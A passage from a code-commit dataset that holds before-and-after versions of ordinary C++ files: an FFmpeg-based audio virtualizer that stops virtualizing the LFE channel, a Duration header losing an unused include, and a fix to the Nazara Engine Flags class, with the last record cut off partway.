AVFMT_NOFILE)) {\n ret = avio_open(&ofmt_ctx->pb, out_filename, AVIO_FLAG_WRITE);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Unable to open output file\\n\");\n exit(1);\n }\n }\n \n ret = avformat_write_header(ofmt_ctx, NULL);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error opening file to write header\\n\");\n exit(1);\n }\n\n \/* Read all of the packets *\/\n packet0.data = NULL;\n packet.data = NULL;\n while(1) {\n if(!packet0.data) {\n ret = av_read_frame(info.format->format_ctx, &packet);\n if(ret < 0) break;\n packet0 = packet;\n }\n \n \/\/in_stream = ifmt_ctx->streams[packet.stream_index];\n \/\/out_stream = ofmt_ctx->streams[packet.stream_index];\n \n if(packet.stream_index == 0) {\n ret = av_interleaved_write_frame(ofmt_ctx, &packet0);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error muxing video packet\\n\");\n }\n }\n\n if(packet.stream_index == info.format->audio_stream_index) {\n got_frame = 0;\n ret = avcodec_decode_audio4(info.format->decoder_ctx, frame, &got_frame, &packet);\n\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error decoding audio\\n\");\n continue;\n }\n\n packet.size -= ret;\n packet.data += ret;\n\n if(got_frame) {\n\n \/* push audio from decoded frame through filter graph *\/\n if(av_buffersrc_add_frame_flags(info.filter->abuffer_ctx, frame, 0) < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error feeding into filter graph\\n\");\n break;\n }\n\n int i ;\n int frame_sample_count = 0;\n \n while(ret >= 0) {\n \/\/ This is where you will work with each processed frame.\n\n i = 0;\n\n for (auto it = info.filter->abuffersink_ctx_map.begin();\n it != info.filter->abuffersink_ctx_map.end(); it++) {\n ret = av_buffersink_get_frame(it->second, filt_frame);\n if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break;\n\n int sample_count = filt_frame->nb_samples;\n int sample_rate = filt_frame->sample_rate;\n if (total_sample_count == 0) total_sample_count = total_duration * sample_rate;\n if (frame_sample_count == 0) frame_sample_count = sample_count;\n\n if (c2v_.count(it->first) == 0) {\n float x_y_z[3];\n if (info.coords.count(it->first) == 0) Filter::get_coords(it->first, &x_y_z[0], &x_y_z[1], &x_y_z[2]);\n else {\n x_y_z[0] = info.coords.at(it->first).x;\n x_y_z[1] = info.coords.at(it->first).y;\n x_y_z[2] = info.coords.at(it->first).z;\n\n if (info.coord_type == Filter::Spherical) mysofa_s2c(x_y_z);\n }\n\n if (sofa_.hrtf == NULL) {\n Virtualizer * virt = new Virtualizer(info.sofa_file_name.c_str(), \n sample_rate, x_y_z[0], x_y_z[1], x_y_z[2], info.block_size);\n c2v_.insert(std::make_pair(it->first, virt));\n sofa_ = virt->get_hrtf();\n }\n else {\n Virtualizer * virt = new Virtualizer(sofa_, sample_rate, \n x_y_z[0], x_y_z[1], x_y_z[2], info.block_size);\n c2v_.insert(std::make_pair(it->first, virt));\n }\n }\n\n float * samples = Virtualizer::get_float_samples(filt_frame->extended_data[0],\n info.format->decoder_ctx->sample_fmt, sample_count);\n\n float ** float_results = c2v_[it->first]->process(samples, sample_count);\n\n uint8_t * result_l = Virtualizer::get_short_samples(float_results[0],\n info.format->decoder_ctx->sample_fmt, sample_count);\n\n uint8_t * result_r = Virtualizer::get_short_samples(float_results[1],\n info.format->decoder_ctx->sample_fmt, sample_count);\n\n delete[] float_results[0];\n delete[] float_results[1];\n delete[] float_results;\n delete[] samples;\n\n AVFrame *virt_frame = encoder->new_frame(encoder->codec_ctx, result_r,\n result_l);\n \n virt_frame->format = AV_SAMPLE_FMT_FLTP;\n virt_frame->sample_rate = 48000;\n virt_frame->channel_layout = 3;\n\n \/\/av_log(NULL, AV_LOG_INFO, \"%d \", i);\n \n if(av_buffersrc_add_frame_flags(sjoin->abuffers_ctx[i], virt_frame, 0) < 0)\n av_log(NULL, AV_LOG_ERROR, \"Error feeding into filtergraph\\n\");\n \n\n av_frame_unref(filt_frame);\n i++;\n }\n \n if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break;\n ret = av_buffersink_get_frame(sjoin->abuffersink_ctx, comb_virt_frame);\n \n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"No virtualization frame %d\\n\", ret);\n continue;\n }\n av_init_packet(&comb_packet_out);\n comb_packet_out.data = NULL;\n comb_packet_out.size = 0;\n \n ret = avcodec_encode_audio2(encoder->codec_ctx, &comb_packet_out, \n comb_virt_frame, &got_output);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error encoding comb frame %d\\n\", ret); \n exit(1);\n } \n \n uint8_t* data = comb_packet_out.data;\n\n av_copy_packet(&comb_packet_out, &packet0);\n \n comb_packet_out.data = data;\n ret = av_interleaved_write_frame(ofmt_ctx, &comb_packet_out);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error muxing video packet\\n\");\n }\n av_free_packet(&comb_packet_out);\n av_frame_unref(comb_virt_frame);\n \n }\n\n samples_completed += frame_sample_count;\n }\n if(packet.size <= 0) av_free_packet(&packet0);\n } else {\n av_free_packet(&packet0);\n }\n\n if (total_sample_count != 0) {\n int completion = (100 * samples_completed) \/ total_sample_count;\n if (completion > 100) completion = 100;\n info.progress->store(completion);\n }\n }\n\n for (auto it = c2v_.begin(); it != c2v_.end(); it++) delete it->second;\n \n av_write_trailer(ofmt_ctx);\n avformat_close_input(&info.format->format_ctx);\n if(ofmt_ctx && !(ofmt->flags & AVFMT_NOFILE))\n avio_close(ofmt_ctx->pb);\n avformat_free_context(ofmt_ctx);\n av_frame_free(&frame);\n av_frame_free(&filt_frame);\n av_frame_free(&comb_virt_frame);\n\n if(ret < 0 && ret != AVERROR_EOF) {\n av_log(NULL, AV_LOG_ERROR, \"Error occured while closing out: %d\\n\", ret);\n return ret;\n }\n}\n<commit_msg>Stopped virtualizing the bass.<commit_after>#include \"DSVSCA.h\"\n\nint DSVSCA::process_filter_graph(process_info info) {\n AVPacket packet, packet0;\n AVFrame *frame = av_frame_alloc();\n AVFrame *filt_frame = av_frame_alloc();\n AVFrame *comb_virt_frame = av_frame_alloc();\n int got_frame;\n\n std::unordered_map<Filter::Channel, Virtualizer*, std::hash<int>> c2v_;\n complete_sofa sofa_;\n\n AVPacket packet_out;\n AVPacket comb_packet_out;\n int got_output;\n\n Encoder *encoder = new Encoder(AV_CODEC_ID_AC3,\n info.format->decoder_ctx->bit_rate, AV_SAMPLE_FMT_FLTP);\n\n SJoin *sjoin = new SJoin(encoder);\n \n long total_duration = info.format->format_ctx->duration \/ (long)AV_TIME_BASE;\n uint64_t total_sample_count = 0;\n uint64_t samples_completed = 0;\n\n int ret = 0;\n\n AVOutputFormat *ofmt = NULL;\n AVFormatContext *ofmt_ctx = NULL;\n\n size_t index_of_ext = info.video_file_name.find_last_of('.');\n std::string out_filename_str;\n if (index_of_ext == std::string::npos) out_filename_str = info.video_file_name + \"-virtualized\";\n else out_filename_str = info.video_file_name.substr(0, index_of_ext) + \"-virtualized\" + info.video_file_name.substr(index_of_ext);\n const char *out_filename = out_filename_str.c_str();\n\n avformat_alloc_output_context2(&ofmt_ctx, NULL, NULL, out_filename);\n if(!ofmt_ctx) {\n av_log(NULL, AV_LOG_ERROR, \"Could not create output context!\\n\");\n exit(1);\n }\n\n ofmt = ofmt_ctx->oformat;\n\n for(int i = 0; i < info.format->format_ctx->nb_streams; i++) {\n AVStream *in_stream = info.format->format_ctx->streams[i];\n AVStream *out_stream = avformat_new_stream(ofmt_ctx, in_stream->codec->codec);\n if(!out_stream) {\n av_log(NULL, AV_LOG_ERROR, \"Failed to allocate output stream!\\n\");\n exit(1);\n }\n \n ret = avcodec_copy_context(out_stream->codec, in_stream->codec);\n out_stream->codec->codec_tag = 0;\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Failed to copy context from input to output stream codec context\\n\");\n exit(1);\n }\n \n if(ofmt_ctx->oformat->flags & AVFMT_GLOBALHEADER)\n out_stream->codec->flags |= CODEC_FLAG_GLOBAL_HEADER;\n }\n\n av_dump_format(ofmt_ctx, 0, out_filename, 1);\n \n if(!(ofmt->flags & AVFMT_NOFILE)) {\n ret = avio_open(&ofmt_ctx->pb, out_filename, AVIO_FLAG_WRITE);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Unable to open output file\\n\");\n exit(1);\n }\n }\n \n ret = avformat_write_header(ofmt_ctx, NULL);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error opening file to write header\\n\");\n exit(1);\n }\n\n \/* Read all of the packets *\/\n packet0.data = NULL;\n packet.data = NULL;\n while(1) {\n if(!packet0.data) {\n ret = av_read_frame(info.format->format_ctx, &packet);\n if(ret < 0) break;\n packet0 = packet;\n }\n \n \/\/in_stream = ifmt_ctx->streams[packet.stream_index];\n \/\/out_stream = ofmt_ctx->streams[packet.stream_index];\n \n if(packet.stream_index == 0) {\n ret = av_interleaved_write_frame(ofmt_ctx, &packet0);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error muxing video packet\\n\");\n }\n }\n\n if(packet.stream_index == info.format->audio_stream_index) {\n got_frame = 0;\n ret = avcodec_decode_audio4(info.format->decoder_ctx, frame, &got_frame, &packet);\n\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error decoding audio\\n\");\n continue;\n }\n\n packet.size -= ret;\n packet.data += ret;\n\n if(got_frame) {\n\n \/* push audio from decoded frame through filter graph *\/\n if(av_buffersrc_add_frame_flags(info.filter->abuffer_ctx, frame, 0) < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error feeding into filter graph\\n\");\n break;\n }\n\n int i ;\n int frame_sample_count = 0;\n \n while(ret >= 0) {\n \/\/ This is where you will work with each processed frame.\n\n i = 0;\n\n for (auto it = info.filter->abuffersink_ctx_map.begin();\n it != info.filter->abuffersink_ctx_map.end(); it++) {\n ret = av_buffersink_get_frame(it->second, filt_frame);\n if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break;\n\n uint8_t * result_l, * result_r;\n\n if (it->first != Filter::LFE) {\n int sample_count = filt_frame->nb_samples;\n int sample_rate = filt_frame->sample_rate;\n if (total_sample_count == 0) total_sample_count = total_duration * sample_rate;\n if (frame_sample_count == 0) frame_sample_count = sample_count;\n\n if (c2v_.count(it->first) == 0) {\n float x_y_z[3];\n if (info.coords.count(it->first) == 0) Filter::get_coords(it->first, &x_y_z[0], &x_y_z[1], &x_y_z[2]);\n else {\n x_y_z[0] = info.coords.at(it->first).x;\n x_y_z[1] = info.coords.at(it->first).y;\n x_y_z[2] = info.coords.at(it->first).z;\n\n if (info.coord_type == Filter::Spherical) mysofa_s2c(x_y_z);\n }\n\n if (sofa_.hrtf == NULL) {\n Virtualizer * virt = new Virtualizer(info.sofa_file_name.c_str(), \n sample_rate, x_y_z[0], x_y_z[1], x_y_z[2], info.block_size);\n c2v_.insert(std::make_pair(it->first, virt));\n sofa_ = virt->get_hrtf();\n }\n else {\n Virtualizer * virt = new Virtualizer(sofa_, sample_rate, \n x_y_z[0], x_y_z[1], x_y_z[2], info.block_size);\n c2v_.insert(std::make_pair(it->first, virt));\n }\n }\n\n float * samples = Virtualizer::get_float_samples(filt_frame->extended_data[0],\n info.format->decoder_ctx->sample_fmt, sample_count);\n\n float ** float_results = c2v_[it->first]->process(samples, sample_count);\n\n result_l = Virtualizer::get_short_samples(float_results[0],\n info.format->decoder_ctx->sample_fmt, sample_count);\n\n result_r = Virtualizer::get_short_samples(float_results[1],\n info.format->decoder_ctx->sample_fmt, sample_count);\n\n delete[] float_results[0];\n delete[] float_results[1];\n delete[] float_results;\n delete[] samples;\n }\n else {\n result_l = result_r = filt_frame->extended_data[0];\n }\n\n AVFrame *virt_frame = encoder->new_frame(encoder->codec_ctx, result_r,\n result_l);\n \n virt_frame->format = AV_SAMPLE_FMT_FLTP;\n virt_frame->sample_rate = 48000;\n virt_frame->channel_layout = 3;\n\n \/\/av_log(NULL, AV_LOG_INFO, \"%d \", i);\n \n if(av_buffersrc_add_frame_flags(sjoin->abuffers_ctx[i], virt_frame, 0) < 0)\n av_log(NULL, AV_LOG_ERROR, \"Error feeding into filtergraph\\n\");\n \n\n av_frame_unref(filt_frame);\n i++;\n }\n \n if(ret == AVERROR(EAGAIN) || ret == AVERROR_EOF) break;\n ret = av_buffersink_get_frame(sjoin->abuffersink_ctx, comb_virt_frame);\n \n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"No virtualization frame %d\\n\", ret);\n continue;\n }\n av_init_packet(&comb_packet_out);\n comb_packet_out.data = NULL;\n comb_packet_out.size = 0;\n \n ret = avcodec_encode_audio2(encoder->codec_ctx, &comb_packet_out, \n comb_virt_frame, &got_output);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error encoding comb frame %d\\n\", ret); \n exit(1);\n } \n \n uint8_t* data = comb_packet_out.data;\n\n av_copy_packet(&comb_packet_out, &packet0);\n \n comb_packet_out.data = data;\n ret = av_interleaved_write_frame(ofmt_ctx, &comb_packet_out);\n if(ret < 0) {\n av_log(NULL, AV_LOG_ERROR, \"Error muxing video packet\\n\");\n }\n av_free_packet(&comb_packet_out);\n av_frame_unref(comb_virt_frame);\n \n }\n\n samples_completed += frame_sample_count;\n }\n if(packet.size <= 0) av_free_packet(&packet0);\n } else {\n av_free_packet(&packet0);\n }\n\n if (total_sample_count != 0) {\n int completion = (100 * samples_completed) \/ total_sample_count;\n if (completion > 100) completion = 100;\n info.progress->store(completion);\n }\n }\n\n for (auto it = c2v_.begin(); it != c2v_.end(); it++) delete it->second;\n \n av_write_trailer(ofmt_ctx);\n avformat_close_input(&info.format->format_ctx);\n if(ofmt_ctx && !(ofmt->flags & AVFMT_NOFILE))\n avio_close(ofmt_ctx->pb);\n avformat_free_context(ofmt_ctx);\n av_frame_free(&frame);\n av_frame_free(&filt_frame);\n av_frame_free(&comb_virt_frame);\n\n if(ret < 0 && ret != AVERROR_EOF) {\n av_log(NULL, AV_LOG_ERROR, \"Error occured while closing out: %d\\n\", ret);\n return ret;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef DURATION_H\n#define DURATION_H\n\n#include <string>\n\nnamespace sys\n{\n\nclass Duration\n{\npublic:\n Duration();\n\n Duration(const Duration &duration);\n\n Duration & operator = (const Duration &duration);\n\n unsigned long elapsed() const;\n\nprivate:\n unsigned long _start;\n};\n\n}\n\n\n#endif \/\/ DURATION_H\n<commit_msg>removing unused include directive<commit_after>#ifndef DURATION_H\n#define DURATION_H\n\nnamespace sys\n{\n\nclass Duration\n{\npublic:\n Duration();\n\n Duration(const Duration &duration);\n\n Duration & operator = (const Duration &duration);\n\n unsigned long elapsed() const;\n\nprivate:\n unsigned long _start;\n};\n\n}\n\n\n#endif \/\/ DURATION_H\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2017 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Core module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/Flags.hpp>\n#include <Nazara\/Core\/Debug.hpp>\n\nnamespace Nz\n{\n\t\/*!\n\t* \\ingroup core\n\t* \\class Nz::Flags\n\t* \\brief Core class used to combine enumeration values into flags bitfield\n\t*\/\n\n\t\/*!\n\t* \\brief Constructs a Flags object using a bitfield\n\t*\n\t* \\param value Bitfield to be used\n\t*\n\t* Uses a bitfield to builds the flag value. (e.g. if bit 0 is active, then Enum value 0 will be set as active).\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E>::Flags(BitField value) :\n\tm_value(value)\n\t{\n\t}\n\n\t\/*!\n\t* \\brief Constructs a Flags object using an Enum value\n\t*\n\t* \\param enumVal enumVal\n\t*\n\t* Setup a Flags object with only one flag active (corresponding to the enum value passed as argument).\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E>::Flags(E enumVal) :\n\tFlags(GetFlagValue(enumVal))\n\t{\n\t}\n\n\t\/*!\n\t* \\brief Clear all flags\n\t*\n\t* \\see Test\n\t*\/\n\ttemplate<typename E>\n\tvoid Flags<E>::Clear()\n\t{\n\t\tm_value = 0;\n\t}\n\n\t\/*!\n\t* \\brief Clear some flags\n\t*\n\t* \\param flags Flags to be cleared\n\t*\n\t* \\see Test\n\t*\/\n\ttemplate<typename E>\n\tvoid Flags<E>::Clear(const Flags& flags)\n\t{\n\t\tm_value &= ~flags;\n\t}\n\n\t\/*!\n\t* \\brief Enable some flags\n\t*\n\t* \\param flags Flags to be enabled\n\t*\n\t* \\see Clear\n\t* \\see Test\n\t*\/\n\ttemplate<typename E>\n\tvoid Flags<E>::Set(const Flags& flags)\n\t{\n\t\tm_value |= flags;\n\t}\n\n\t\/*!\n\t* \\brief Tests if all flags from a Flags object are enabled\n\t* \\return True if all tested flags are enabled.\n\t*\n\t* \\see Clear\n\t*\/\n\ttemplate<typename E>\n\tconstexpr bool Flags<E>::Test(const Flags& flags) const\n\t{\n\t\treturn (m_value & flags.m_value) == flags.m_value;\n\t}\n\n\t\/*!\n\t* \\brief Tests any flag\n\t* \\return True if any flag is enabled.\n\t*\n\t* This will convert to a boolean value allowing to check if any flag is set.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E>::operator bool() const\n\t{\n\t\treturn m_value != 0;\n\t}\n\n\t\/*!\n\t* \\brief Converts to an integer\n\t* \\return Enabled flags as a integer\n\t*\n\t* This will only works if the integer type is large enough to store all flags states\n\t*\/\n\ttemplate<typename E>\n\ttemplate<typename T, typename>\n\tconstexpr Flags<E>::operator T() const\n\t{\n\t\treturn m_value;\n\t}\n\n\t\/*!\n\t* \\brief Reverse flag states\n\t* \\return Opposite enabled flags\n\t*\n\t* This will returns a copy of the Flags object with reversed flags states.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator~() const\n\t{\n\t\treturn Flags((~m_value) & ValueMask);\n\t}\n\n\t\/*!\n\t* \\brief Compare flag states\n\t* \\return Shared flags\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* This will returns a copy of the Flags object with only enabled flags in common with the parameter\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator&(const Flags& rhs) const\n\t{\n\t\treturn Flags(m_value & rhs.m_value);\n\t}\n\n\t\/*!\n\t* \\brief Combine flag states\n\t* \\return Combined flags\n\t*\n\t* This will returns a copy of the Flags object with combined flags from the parameter.\n\t*\n\t* \\param rhs Flags to combine with.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator|(const Flags& rhs) const\n\t{\n\t\treturn Flags(m_value | rhs.m_value);\n\t}\n\n\t\/*!\n\t* \\brief XOR flag states\n\t* \\return XORed flags.\n\t*\n\t* \\param rhs Flags to XOR with.\n\t*\n\t* This performs a XOR (Exclusive OR) on a copy of the flag object.\n\t* This will returns a copy of the object with disabled common flags and enabled unique ones.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator^(const Flags& rhs) const\n\t{\n\t\treturn Flags((m_value ^ rhs.m_value) & ValueMask);\n\t}\n\n\t\/*!\n\t* \\brief Check equality with flag object\n\t* \\return True if both flags objects have the same states.\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* Compare two Flags object and returns true if the flag states are identical.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr bool Flags<E>::operator==(const Flags& rhs) const\n\t{\n\t\treturn m_value == rhs.m_value;\n\t}\n\n\t\/*!\n\t* \\brief Check inequality with flag object\n\t* \\return True if both flags objects have different states.\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* Compare two Flags object and returns true if the flag states are identical.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr bool Flags<E>::operator!=(const Flags& rhs) const\n\t{\n\t\treturn !operator==(rhs);\n\t}\n\n\t\/*!\n\t* \\brief Combine flag states\n\t* \\return A reference to the object.\n\t*\n\t* \\param rhs Flags to combine with.\n\t*\n\t* This will enable flags which are enabled in parameter object and not in Flag object.\n\t*\/\n\ttemplate<typename E>\n\t\/*constexpr*\/ Flags<E>& Flags<E>::operator|=(const Flags& rhs)\n\t{\n\t\tm_value |= rhs.m_value;\n\n\t\treturn *this;\n\t}\n\n\t\/*!\n\t* \\brief Compare flag states\n\t* \\return A reference to the object.\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* This will disable flags which are disabled in parameter object and enabled in Flag object (and vice-versa).\n\t*\/\n\ttemplate<typename E>\n\t\/*constexpr*\/ Flags<E>& Flags<E>::operator&=(const Flags& rhs)\n\t{\n\t\tm_value &= rhs.m_value;\n\n\t\treturn *this;\n\t}\n\n\t\/*!\n\t* \\brief XOR flag states\n\t* \\return A reference to the object.\n\t*\n\t* \\param rhs Flags to XOR with.\n\t*\n\t* This performs a XOR (Exclusive OR) on the flag object.\n\t* This will disable flags enabled in both Flags objects and enable those enabled in only one of the Flags objects.\n\t*\/\n\ttemplate<typename E>\n\t\/*constexpr*\/ Flags<E>& Flags<E>::operator^=(const Flags& rhs)\n\t{\n\t\tm_value ^= rhs.m_value;\n\t\tm_value &= ValueMask;\n\n\t\treturn *this;\n\t}\n\n\t\/*!\n\t* \\brief Returns a bitfield corresponding to an enum value.\n\t* \\return Bitfield representation of the enum value\n\t*\n\t* \\param enumValue Enumeration value to get as a bitfield.\n\t*\n\t* Internally, every enum option is turned into a bit, this function allows to get a bitfield with only the bit of the enumeration value enabled.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr typename Flags<E>::BitField Flags<E>::GetFlagValue(E enumValue)\n\t{\n\t\treturn 1U << static_cast<BitField>(enumValue);\n\t}\n\n\t\/*!\n\t* \\brief Compare flag states\n\t* \\return Compared flags\n\t*\n\t* This will returns a copy of the Flags object compared with the enum state.\n\t*\n\t* \\param lhs Enum to compare with flags.\n\t* \\param rhs Flags object.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> operator&(E lhs, Flags<E> rhs)\n\t{\n\t\treturn rhs & lhs;\n\t}\n\n\t\/*!\n\t* \\brief Combine flag states\n\t* \\return Combined flags\n\t*\n\t* This will returns a copy of the Flags object combined with the enum state.\n\t*\n\t* \\param lhs Enum to combine with flags.\n\t* \\param rhs Flags object.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> operator|(E lhs, Flags<E> rhs)\n\t{\n\t\treturn rhs | lhs;\n\t}\n\n\t\/*!\n\t* \\brief XOR flag states\n\t* \\return XORed flags\n\t*\n\t* This will returns a copy of the Flags object XORed with the enum state.\n\t*\n\t* \\param lhs Enum to XOR with flags.\n\t* \\param rhs Flags object.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> operator^(E lhs, Flags<E> rhs)\n\t{\n\t\treturn rhs ^ lhs;\n\t}\n\n\n\tnamespace FlagsOperators\n\t{\n\t\t\/*!\n\t\t* \\brief Override binary NOT operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with reversed bits.\n\t\t*\n\t\t* \\param lhs Enumeration value to reverse.\n\t\t*\n\t\t* Returns a Flags object with all state enabled except for the enum one.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator~(E lhs)\n\t\t{\n\t\t\treturn ~Flags<E>(lhs);\n\t\t}\n\n\t\t\/*!\n\t\t* \\brief Override binary AND operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with compare enum states.\n\t\t*\n\t\t* \\param lhs First enumeration value to compare.\n\t\t* \\param rhs Second enumeration value to compare.\n\t\t*\n\t\t* Returns a Flags object with compared states from the two enumeration values.\n\t\t* In this case, only one flag will be enabled if both enumeration values are the same.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator&(E lhs, E rhs)\n\t\t{\n\t\t\treturn Flags<E>(lhs) & rhs;\n\t\t}\n\n\t\t\/*!\n\t\t* \\brief Override binary OR operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with combined enum states.\n\t\t*\n\t\t* \\param lhs First enumeration value to combine.\n\t\t* \\param rhs Second enumeration value to combine.\n\t\t*\n\t\t* Returns a Flags object with combined states from the two enumeration values.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator|(E lhs, E rhs)\n\t\t{\n\t\t\treturn Flags<E>(lhs) | rhs;\n\t\t}\n\n\t\t\/*!\n\t\t* \\brief Override binary XOR operator on enum to turns into a Flags object.\n\t\t* \\return A Flags object with XORed enum states.\n\t\t*\n\t\t* \\param lhs First enumeration value to compare.\n\t\t* \\param rhs Second enumeration value to compare.\n\t\t*\n\t\t* Returns a Flags object with XORed states from the two enumeration values.\n\t\t* In this case, two flags will be enabled if both the enumeration values are different.\n\t\t*\/\n\t\ttemplate<typename E>\n\t\tconstexpr std::enable_if_t<IsEnumFlag<E>::value, Flags<E>> operator^(E lhs, E rhs)\n\t\t{\n\t\t\treturn Flags<E>(lhs) ^ rhs;\n\t\t}\n\t}\n}\n\n#include <Nazara\/Core\/DebugOff.hpp>\n<commit_msg>Oopsie<commit_after>\/\/ Copyright (C) 2017 Jérôme Leclercq\n\/\/ This file is part of the \"Nazara Engine - Core module\"\n\/\/ For conditions of distribution and use, see copyright notice in Config.hpp\n\n#include <Nazara\/Core\/Flags.hpp>\n#include <Nazara\/Core\/Debug.hpp>\n\nnamespace Nz\n{\n\t\/*!\n\t* \\ingroup core\n\t* \\class Nz::Flags\n\t* \\brief Core class used to combine enumeration values into flags bitfield\n\t*\/\n\n\t\/*!\n\t* \\brief Constructs a Flags object using a bitfield\n\t*\n\t* \\param value Bitfield to be used\n\t*\n\t* Uses a bitfield to builds the flag value. (e.g. if bit 0 is active, then Enum value 0 will be set as active).\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E>::Flags(BitField value) :\n\tm_value(value)\n\t{\n\t}\n\n\t\/*!\n\t* \\brief Constructs a Flags object using an Enum value\n\t*\n\t* \\param enumVal enumVal\n\t*\n\t* Setup a Flags object with only one flag active (corresponding to the enum value passed as argument).\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E>::Flags(E enumVal) :\n\tFlags(GetFlagValue(enumVal))\n\t{\n\t}\n\n\t\/*!\n\t* \\brief Clear all flags\n\t*\n\t* \\see Test\n\t*\/\n\ttemplate<typename E>\n\tvoid Flags<E>::Clear()\n\t{\n\t\tm_value = 0;\n\t}\n\n\t\/*!\n\t* \\brief Clear some flags\n\t*\n\t* \\param flags Flags to be cleared\n\t*\n\t* \\see Test\n\t*\/\n\ttemplate<typename E>\n\tvoid Flags<E>::Clear(const Flags& flags)\n\t{\n\t\tm_value &= ~flags.m_value;\n\t}\n\n\t\/*!\n\t* \\brief Enable some flags\n\t*\n\t* \\param flags Flags to be enabled\n\t*\n\t* \\see Clear\n\t* \\see Test\n\t*\/\n\ttemplate<typename E>\n\tvoid Flags<E>::Set(const Flags& flags)\n\t{\n\t\tm_value |= flags.m_value;\n\t}\n\n\t\/*!\n\t* \\brief Tests if all flags from a Flags object are enabled\n\t* \\return True if all tested flags are enabled.\n\t*\n\t* \\see Clear\n\t*\/\n\ttemplate<typename E>\n\tconstexpr bool Flags<E>::Test(const Flags& flags) const\n\t{\n\t\treturn (m_value & flags.m_value) == flags.m_value;\n\t}\n\n\t\/*!\n\t* \\brief Tests any flag\n\t* \\return True if any flag is enabled.\n\t*\n\t* This will convert to a boolean value allowing to check if any flag is set.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E>::operator bool() const\n\t{\n\t\treturn m_value != 0;\n\t}\n\n\t\/*!\n\t* \\brief Converts to an integer\n\t* \\return Enabled flags as a integer\n\t*\n\t* This will only works if the integer type is large enough to store all flags states\n\t*\/\n\ttemplate<typename E>\n\ttemplate<typename T, typename>\n\tconstexpr Flags<E>::operator T() const\n\t{\n\t\treturn m_value;\n\t}\n\n\t\/*!\n\t* \\brief Reverse flag states\n\t* \\return Opposite enabled flags\n\t*\n\t* This will returns a copy of the Flags object with reversed flags states.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator~() const\n\t{\n\t\treturn Flags((~m_value) & ValueMask);\n\t}\n\n\t\/*!\n\t* \\brief Compare flag states\n\t* \\return Shared flags\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* This will returns a copy of the Flags object with only enabled flags in common with the parameter\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator&(const Flags& rhs) const\n\t{\n\t\treturn Flags(m_value & rhs.m_value);\n\t}\n\n\t\/*!\n\t* \\brief Combine flag states\n\t* \\return Combined flags\n\t*\n\t* This will returns a copy of the Flags object with combined flags from the parameter.\n\t*\n\t* \\param rhs Flags to combine with.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator|(const Flags& rhs) const\n\t{\n\t\treturn Flags(m_value | rhs.m_value);\n\t}\n\n\t\/*!\n\t* \\brief XOR flag states\n\t* \\return XORed flags.\n\t*\n\t* \\param rhs Flags to XOR with.\n\t*\n\t* This performs a XOR (Exclusive OR) on a copy of the flag object.\n\t* This will returns a copy of the object with disabled common flags and enabled unique ones.\n\t*\/\n\ttemplate<typename E>\n\tconstexpr Flags<E> Flags<E>::operator^(const Flags& rhs) const\n\t{\n\t\treturn Flags((m_value ^ rhs.m_value) & ValueMask);\n\t}\n\n\t\/*!\n\t* \\brief Check equality with flag object\n\t* \\return True if both flags objects have the same states.\n\t*\n\t* \\param rhs Flags to compare with.\n\t*\n\t* Compare two Flags object and 